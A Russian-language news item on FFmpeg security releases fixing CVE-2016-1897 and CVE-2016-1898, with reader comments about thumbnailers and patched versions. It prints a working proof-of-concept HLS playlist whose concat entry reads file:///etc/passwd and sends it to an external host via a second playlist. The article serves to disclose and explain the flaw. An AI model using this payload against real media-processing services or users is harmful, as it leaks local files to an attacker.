Доступны (http://ffmpeg.org/download.html) корректирующие обновления мультимедиа-пакета FFmpeg 2.8.5, 2.7.5, 2.6.7 и 2.5.10, в которых устранены (http://git.videolan.org/?p=ffmpeg.git;a=commit;h=e183075dc11...) опасные уязвимости (http://www.slideshare.net/MailRuGroup/security-meetup-22-mailru) (CVE-2016-1897, CVE-2016-1898), которые могут привести к выгрузке произвольных файлов в случае обработки специально оформленных файлов утилитами ffmpeg, ffprobe, avconv и avprobe. Например, уязвимость представляет угрозу сервисам, в которых осуществляется перекодирование или обработка поступающих от пользователей файлов при помощи ffmpeg/libav, и файловым менеджерам, использующим ffmpeg/libav для создания эскизов.
Уязвимость может использоваться для подстановки (https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-...) содержания произвольного локального файла в результат перекодирования или для отправки (http://habrahabr.ru/company/mailru/blog/274855) на произвольный внешний URL. Например, можно передать для обработки файл с произвольным расширением (avi, mov и т.п.), в котором добавить заголовок и данные плейлиста в формате HLS m3u8, указав в качестве одного из элементов блок "concat" с внешним URL и локальным файлом, например:
<font color="#461b7e">
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://test.com/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST</font>
В результате обработки данного файла ffmpeg загрузит http://test.com/header.m3u8, который может содержать:
<font color="#461b7e">
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org?
</font>После обработки header.m3u8 ffmpeg передаст содержимое file:///etc/passwd в составе запроса на URL "http://example.org". Если вместо операции concat в переданном для обработки файле ограничиться указанием file:///etc/test.txt, то будет создан мультимедийный файл, включающий первую строку указанного локального файла.
<center><iframe src="//www.slideshare.net/slideshow/embed_code/key/E8vCNOzffF2gs0" width="595" height="485" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen></iframe></center>
<center><iframe width="640" height="360" src="https://www.youtube.com/embed/HRNPnbxrSCo?rel=0" frameborder="0" allowfullscreen></iframe></center>URL: https://twitter.com/FFmpeg/status/688187976132603904
Новость: http://www.opennet.me/opennews/art.shtml?num=43685
% brew info ffmpeg
ffmpeg: stable 2.8.4 (bottled), HEADВот так посмотришь чего-то и похакают...
твои мак-серверы уже в безопасности, комрад:> brew info ffmpeg
ffmpeg: stable 2.8.5 (bottled), HEAD
кстати, а какие практические применения мак-сервера кроме окружения для CI в яблочных проектах?
Самое крутое, что в той же убунте достаточно лишь скачать такой видеофайл и при создании эскиза в файловом менеджере сразу всё и произойдёт.Вот более подробное описание непосредственно от человека, обнаружившего уязвимость и отправившего патч в FFmpeg: http://habrahabr.ru/company/mailru/blog/274855/
Ну так в линуксах же всюду эскизы в файловых менеджерах делаются с помощью ffmpeg, а не только в той же ubuntu.
нет
Ну что нет? Поглядел на Dolphin - тоже самое...
Я у себя в KDE когда-то отключил из-за бага с disk i/o. Эти эскизы ещё попьют кровушки у народа.
Пустил Tor через VPN. Скачал файл. Файл напрямую обратился к IP honeypot при запуске проигрывателя. ip добавлен в базу пиратов. Обращаемся к провайдеру и сверяем время/размер пакетов. Высылаем штраф или повестку в суд.
Если автоматизировать операцию можно получить миллиарды долларовс Европы, Австралии, Японии или США.
Не Tor, а торрент клиент через Tor или VPN. Или их комбинацию.
"Файл напрямую обратился к IP"Чтобы специально подготовленный видеофайл отправил запрос, нужно 1). Чтобы он воспроизводился с помощью ffmpeg, а это только полутора процентов в мире 2). И вообще, это в плагине HTTP Live Streaming баг, а не в обычной воспроизводилке.
Нет, достаточно ПРОСТО ИМЕТЬ: файловый менеджер с эскизами (практически все дистрибутивы linux).А вот запускать надо с: свободный плеер (VLC/MPlayer) или ещё что-то использующее ffmpeg (например программу для работы с видео).
Как он додумался до такого ?
вообще всегда после сообщения о нахождении какой-то дыры у меня возникает вопрос КАК человек смог додуматься до такого ?
Ибо я тоже так хочу
человек либо копался в коде и сумел хорошо его понять, т.е. он или разраб, или зарабатывает на поиске багов именно в ffmpeg (это маловероятно); либо случайно напоролся, вероятность чего достаточно мала.
поэтому скорее всего разраб.
Вообще-то это скорее склад ума такой - понять, как нечто работает и оценить, что могло пойти не так. В сущности, для разработчика любых сложных систем это необходимый навык, только не у каждого он ещё дополняется достаточным интеллектуальным любопытством, чтобы после ментальных упражнений начинать ковыряться на практике и проверять свои предположения.
Расслабься, тут нужно мозгом думать - не всем дано
Дано-то всем, но не всем нравится
В данном случае довольно простая идея. Использовать плейлист вместо реальной дорожки. Остальное уже вокруг.Чтобы так мочь, надо досконально знать вещи с уровня исходного кода реализации и выше. По времени примерно пять лет самообразования.
это только часть айсберга
его обычно с титаниками используют вроде blender, vlc, mpv, mplayer, chrome, etc.
Ник cdump - что может значить буква си?
% pkg info -r ffmpeg-2.8.4,1
ffmpeg-2.8.4,1:
firefox-43.0.4_1,1
gstreamer1-libav-1.6.2
mpv-0.14.0,1
youtube_dl-2016.01.14
aqualung-1.0
Когда во ффмпеге будет многопоточность для флака?
хоспаде, дался всем этот /etc/passwd… ну, на здоровье. помогло чем? http://dpaste.com/3BMFXPB